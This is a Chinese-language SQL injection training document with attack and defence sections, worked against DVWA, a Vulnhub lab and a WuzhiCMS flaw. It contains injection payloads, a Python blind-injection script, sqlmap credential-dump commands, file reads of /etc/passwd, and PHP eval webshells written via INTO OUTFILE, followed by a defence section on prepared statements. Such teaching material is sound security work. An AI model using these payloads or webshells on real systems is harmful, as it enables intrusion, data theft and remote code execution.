[红日安全]Web安全Day1 - SQL注入实战攻防
字数 2839 2025-08-18 11:38:53

SQL注入实战攻防教学文档

1. SQL注入基础

1.1 漏洞简介

SQL(结构化查询语言)是用于数据库的标准数据查询语言。SQL注入是通过构造恶意SQL语句来攻击数据库的一种技术。

1.2 漏洞原理

攻击者可以通过网站存在的查询语句进行构造,漏洞可能存在于:

  • 查询语句
  • API接口
  • 隐藏链接
  • HTTP头数据
  • 写入数据等

关键数据库信息:

  • information_schema数据库中的SCHEMATATABLESCOLUMNS
  • SCHEMATA表存放所有数据库名,字段名为SCHEMA_NAME

关键函数:

  • database() - 当前数据库名
  • version() - 当前MySQL版本
  • user() - 当前MySQL用户

1.3 漏洞危害

  • 获取敏感信息
  • 修改数据
  • 数据库导出(脱裤)
  • 上传webshell
  • 执行系统命令

2. SQL注入类型

2.1 数字与字符串注入

  • 数字不加单引号:2+2=4
  • 字符串加单引号:'2'+'2'='22'

2.2 内联SQL注入

使用andor等逻辑运算符进行注入

2.3 报错注入

利用数据库报错信息判断注入点,常用特殊字符:
' \ ; %00 ) ( # "

2.4 盲注

常用函数

  1. length() - 计算长度
    id=1' and length(database())=8;
    
  2. left(a)=b - 判断左侧字符
    select left(database(),1)='r';
    
  3. substr()/substring() - 截取字符串
    select substr(database(),1,1)='a';
    
  4. mid() - 截取字符串
    select mid(database(),1)='testt';
    
  5. ascii() - 返回字符ASCII值
  6. ord() - 返回第一个字符ASCII值
  7. updatexml() - XML文档修改函数
    updatexml(XML_document, XPath_string, new_value);
    
  8. exp() - 指数函数,可用于报错注入
    select exp(710);  -- 会产生溢出报错
    

盲注类型

  1. 布尔盲注 - 根据页面返回内容判断
  2. 无报错回显注入 - 根据页面是否正确显示判断
  3. 时间盲注 - 根据响应时间判断
    if(length(database())>1,sleep(5),1)
    

2.5 堆叠查询注入

通过分号隔开执行多条语句

2.6 Union注入

前面不存在才会执行后面的语句,常配合布尔盲注使用

2.7 二次注入

存入数据库时做了过滤,但取出时未过滤导致的注入

2.8 宽字节注入

数据库编码为GBK时可能存在的注入,使用%df

2.9 Cookie注入

Cookie中的参数可能存在注入

2.10 编码注入

如Base64编码注入

2.11 XFF注入攻击

伪造X-Forwarded-for客户端IP

2.12 DNS_log注入

利用DNS查询记录信息

2.13 组合注入

多种注入方式组合攻击,如union+盲注

3. SQL注入绕过技术

  • 大小写绕过
  • pathinfo配合dnslog
    原本是id=1变成1.txt?id=1
    

4. 常见数据库类型

4.1 Access

本地访问数据库

4.2 MySQL

  • 端口:3306
  • 默认库:information_schema
  • 注释符号:-- (需空格)、/* */#
  • 字符串连接:'a' 'b'='ab'

常用查询:

select schema_name from information_schema.schemata;  -- 查询所有数据库
select table_schema,table_name from information_schema.tables;  -- 查询所有数据库和表
select column_name from information_schema.columns;  -- 查询所有列
select  from .;  -- 查询值

4.3 SQL Server

  • 端口:1433
  • 注释符号:--
  • 字符串连接:'a'+'b'='ab'

4.4 Oracle

  • 端口:1521
  • 注释符号:--
  • 字符串连接:'a'||'b'='ab'

4.5 PostgreSQL

  • 端口:5432或5433
  • 注释符号:--
  • 字符串连接:'a'||'b'='ab'

4.6 DB2

  • 端口:5000

4.7 MongoDB

  • 端口:27017

5. SQL注入攻击手段

5.1 数据库提权

5.2 万能密码登陆

ASP站点万能密码:'or'='or'

5.3 窃取哈希口令

5.4 数据库Dump

5.5 文件读写

5.5.1 load_file()读取文件

前提:

  • 知道文件绝对路径
  • 能使用union查询
  • 对web目录有写权限

示例:

union select 1,load_file('/etc/passwd'),3,4,5#
-- 或使用十六进制
union select 1,load_file(0x2f6574632f706173737764),3,4,5#

5.5.2 into outfile写入文件

前提:

  • 文件名必须是全路径(绝对路径)
  • 用户有写文件权限
  • 未过滤单引号

示例:

select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"]); ?>' into outfile 'C:\phpStudy\PHPTutorial\WWW\8.php'

常用一句话PHP:

<?php eval($_POST["admin"]); ?>
<?php eval($_GET["admin"]); ?>
<?php @eval($_POST["admin"]); ?>
<?php phpinfo(); ?>

5.5.3 数据库备份文件

6. SQL注入测试方法

6.1 手工测试(DVWA靶场)

6.1.1 DVWA简介

用PHP+Mysql编写的WEB漏洞教学程序,包含SQL注入、XSS、盲注等漏洞。

6.1.2 DVWA安装

  1. 下载:https://github.com/ethicalhack3r/DVWA/archive/master.zip
  2. 使用PHPStudy搭建,放入www目录

6.1.3 测试过程

Low级别
  1. 判断注入点:
    id=1'%23  -- 使用%23(#)注释后面语句
    
  2. 构造注入:
    id=1'or 1=1%23  -- 返回所有数据
    
  3. 堆叠注入:
    id=1';select * from users%23
    
  4. Union注入:
    • 判断字段数:
      order by 3  -- 报错说明字段数为2
      
    • Union查询:
      id=1'union+select+1,2%23  -- 测试显示位
      id=1'union+select+table_schema,table_name from information_schema.tables%23  -- 查询所有库和表
      id=1'union+select+first_name,password from dvwa.users%23  -- 查询用户数据
      
  5. 盲注:
    • 判断数据库名长度:
      1' and length(database())=4#
      
    • 逐字符判断:
      1' and mid(database(),1,1)='d'#
      
    • 时间盲注:
      1' and if(length(database())=4,sleep(5),1) #  -- 明显延迟
      
Medium级别
  • 改为POST型,数字型注入
  • 绕过过滤函数
High级别
  • 通过session传递id
  • 限制一次显示一行
Impossible级别
  • 使用PDO预处理,有效防御SQL注入

6.2 工具测试

6.2.1 Python半自动化脚本

用于盲注,示例代码:

import urllib.request

header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
    'Cookie': 'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'
}
payload = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
url = "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end = "&Submit=Submit#"

if __name__ == '__main__':
    a = ""
    for i in range(1, 20):
        for j in payload:
            url1 = "%27+and+mid%28database%28%29%2C" + str(i) + "%2C1%29%3D%27" + str(j) + "%27%23"
            url_code_name = urllib.parse.quote(url1)
            try:
                rp = urllib.request.Request(url + url1 + end, headers=header)
                respon = urllib.request.urlopen(rp)
                html = respon.read().decode('utf-8')
                if "User ID exists in the database." in html:
                    a += j
                    print(a)
                    break
            except:
                continue

6.2.2 SQLMAP使用

常用参数
  • -u:指定URL
  • --cookie:指定cookie
  • --current-db:当前数据库
  • --current-user:当前用户
  • --dbs:所有数据库
  • -D:指定数据库
  • --tables:指定数据库的表
  • -T:指定表
  • --columns:指定表的列
  • -C:指定列
  • --dump:导出数据
攻击实例
  1. 查看当前数据库:
    sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-db
    
  2. 查看所有表:
    sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa --tables
    
  3. 导出数据:
    sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa -T users -C user,password --dump
    

6.3 其他靶场

6.3.1 WebGoat

Java靶场程序,包含30多个训练课程

6.3.2 DSVW

Python开发的Web应用漏洞演练系统,包含26种漏洞环境

7. 真实靶场演练(Vulnhub)

7.1 Vulnhub简介

提供各种漏洞环境的靶场平台,使用虚拟机镜像文件

7.2 靶场实战

  1. 盲注检测:
    http://10.1.0.239/products.php?type=1%20and%201=1  -- 正常
    http://10.1.0.239/products.php?type=1%20and%201=2  -- 不正常
    
  2. 爆破数据库名:
    http://10.1.0.239/products.php?type=1%20and%20mid(database(),1,1)=%27D%27
    
  3. 报错注入:
    http://10.1.0.239/details.php?prod=1%20and(select%20ascii(mid((select%20password%20from%20seattle.tblMembers%20limit%200,1),1,1)))=100&type=1
    

8. CMS实战演练

8.1 五指CMS漏洞分析

漏洞文件:/coreframe/app/promote/admin/index.php

漏洞代码:

public function search() {
    $siteid = get_cookie('siteid');
    $keywords = $GLOBALS['keywords'];
    if($fieldtype=='place') {
        $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
    } else {
        $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";
    }
}

8.2 漏洞利用

Payload:

http://10.1.1.6/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23

9. SQL注入防御

9.1 数据库层面

  • 最小权限原则
  • 禁用敏感函数

9.2 代码层面防御

  1. 使用预处理语句(PDO):
    $stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
    $stmt->execute(['id' => $id]);
    
  2. 输入过滤:
    • htmlspecialchars() - HTML实体编码
    • addslashes() - 添加转义字符
  3. 白名单验证
  4. 使用ORM框架

9.3 Web应用防火墙(WAF)

  • 过滤恶意请求
  • 规则更新

9.4 其他措施

  • 错误信息不直接显示
  • 定期安全审计
  • 参数化查询
  • 存储过程

10. 总结

SQL注入是危害性极高的Web安全漏洞,攻击者可以通过构造恶意SQL语句获取敏感数据、控制系统等。防御SQL注入需要从数据库配置、代码编写、输入验证等多方面入手,最重要的是使用参数化查询和预处理语句,从根本上杜绝SQL注入的可能性。

SQL注入实战攻防教学文档 1. SQL注入基础 1.1 漏洞简介 SQL(结构化查询语言)是用于数据库的标准数据查询语言。SQL注入是通过构造恶意SQL语句来攻击数据库的一种技术。 1.2 漏洞原理 攻击者可以通过网站存在的查询语句进行构造,漏洞可能存在于: 查询语句 API接口 隐藏链接 HTTP头数据 写入数据等 关键数据库信息: information_schema 数据库中的 SCHEMATA 、 TABLES 、 COLUMNS 表 SCHEMATA 表存放所有数据库名,字段名为 SCHEMA_NAME 关键函数: database() - 当前数据库名 version() - 当前MySQL版本 user() - 当前MySQL用户 1.3 漏洞危害 获取敏感信息 修改数据 数据库导出(脱裤) 上传webshell 执行系统命令 2. SQL注入类型 2.1 数字与字符串注入 数字不加单引号: 2+2=4 字符串加单引号: '2'+'2'='22' 2.2 内联SQL注入 使用 and 、 or 等逻辑运算符进行注入 2.3 报错注入 利用数据库报错信息判断注入点,常用特殊字符: ' \ ; %00 ) ( # " 2.4 盲注 常用函数 length() - 计算长度 left(a)=b - 判断左侧字符 substr() / substring() - 截取字符串 mid() - 截取字符串 ascii() - 返回字符ASCII值 ord() - 返回第一个字符ASCII值 updatexml() - XML文档修改函数 exp() - 指数函数,可用于报错注入 盲注类型 布尔盲注 - 根据页面返回内容判断 无报错回显注入 - 根据页面是否正确显示判断 时间盲注 - 根据响应时间判断 2.5 堆叠查询注入 通过分号隔开执行多条语句 2.6 Union注入 前面不存在才会执行后面的语句,常配合布尔盲注使用 2.7 二次注入 存入数据库时做了过滤,但取出时未过滤导致的注入 2.8 宽字节注入 数据库编码为GBK时可能存在的注入,使用 %df 2.9 Cookie注入 Cookie中的参数可能存在注入 2.10 编码注入 如Base64编码注入 2.11 XFF注入攻击 伪造 X-Forwarded-for 客户端IP 2.12 DNS_ log注入 利用DNS查询记录信息 2.13 组合注入 多种注入方式组合攻击,如union+盲注 3. SQL注入绕过技术 大小写绕过 pathinfo配合dnslog 4. 常见数据库类型 4.1 Access 本地访问数据库 4.2 MySQL 端口:3306 默认库: information_schema 注释符号: -- (需空格)、 /* */ 、 # 字符串连接: 'a' 'b'='ab' 常用查询: 4.3 SQL Server 端口:1433 注释符号: -- 字符串连接: 'a'+'b'='ab' 4.4 Oracle 端口:1521 注释符号: -- 字符串连接: 'a'||'b'='ab' 4.5 PostgreSQL 端口:5432或5433 注释符号: -- 字符串连接: 'a'||'b'='ab' 4.6 DB2 端口:5000 4.7 MongoDB 端口:27017 5. SQL注入攻击手段 5.1 数据库提权 5.2 万能密码登陆 ASP站点万能密码: 'or'='or' 5.3 窃取哈希口令 5.4 数据库Dump 5.5 文件读写 5.5.1 load_ file()读取文件 前提: 知道文件绝对路径 能使用union查询 对web目录有写权限 示例: 5.5.2 into outfile写入文件 前提: 文件名必须是全路径(绝对路径) 用户有写文件权限 未过滤单引号 示例: 常用一句话PHP: 5.5.3 数据库备份文件 6. SQL注入测试方法 6.1 手工测试(DVWA靶场) 6.1.1 DVWA简介 用PHP+Mysql编写的WEB漏洞教学程序,包含SQL注入、XSS、盲注等漏洞。 6.1.2 DVWA安装 下载:https://github.com/ethicalhack3r/DVWA/archive/master.zip 使用PHPStudy搭建,放入www目录 6.1.3 测试过程 Low级别 判断注入点: 构造注入: 堆叠注入: Union注入: 判断字段数: Union查询: 盲注: 判断数据库名长度: 逐字符判断: 时间盲注: Medium级别 改为POST型,数字型注入 绕过过滤函数 High级别 通过session传递id 限制一次显示一行 Impossible级别 使用PDO预处理,有效防御SQL注入 6.2 工具测试 6.2.1 Python半自动化脚本 用于盲注,示例代码: 6.2.2 SQLMAP使用 常用参数 -u :指定URL --cookie :指定cookie --current-db :当前数据库 --current-user :当前用户 --dbs :所有数据库 -D :指定数据库 --tables :指定数据库的表 -T :指定表 --columns :指定表的列 -C :指定列 --dump :导出数据 攻击实例 查看当前数据库: 查看所有表: 导出数据: 6.3 其他靶场 6.3.1 WebGoat Java靶场程序,包含30多个训练课程 6.3.2 DSVW Python开发的Web应用漏洞演练系统,包含26种漏洞环境 7. 真实靶场演练(Vulnhub) 7.1 Vulnhub简介 提供各种漏洞环境的靶场平台,使用虚拟机镜像文件 7.2 靶场实战 盲注检测: 爆破数据库名: 报错注入: 8. CMS实战演练 8.1 五指CMS漏洞分析 漏洞文件: /coreframe/app/promote/admin/index.php 漏洞代码: 8.2 漏洞利用 Payload: 9. SQL注入防御 9.1 数据库层面 最小权限原则 禁用敏感函数 9.2 代码层面防御 使用预处理语句(PDO): 输入过滤: htmlspecialchars() - HTML实体编码 addslashes() - 添加转义字符 白名单验证 使用ORM框架 9.3 Web应用防火墙(WAF) 过滤恶意请求 规则更新 9.4 其他措施 错误信息不直接显示 定期安全审计 参数化查询 存储过程 10. 总结 SQL注入是危害性极高的Web安全漏洞,攻击者可以通过构造恶意SQL语句获取敏感数据、控制系统等。防御SQL注入需要从数据库配置、代码编写、输入验证等多方面入手,最重要的是使用参数化查询和预处理语句,从根本上杜绝SQL注入的可能性。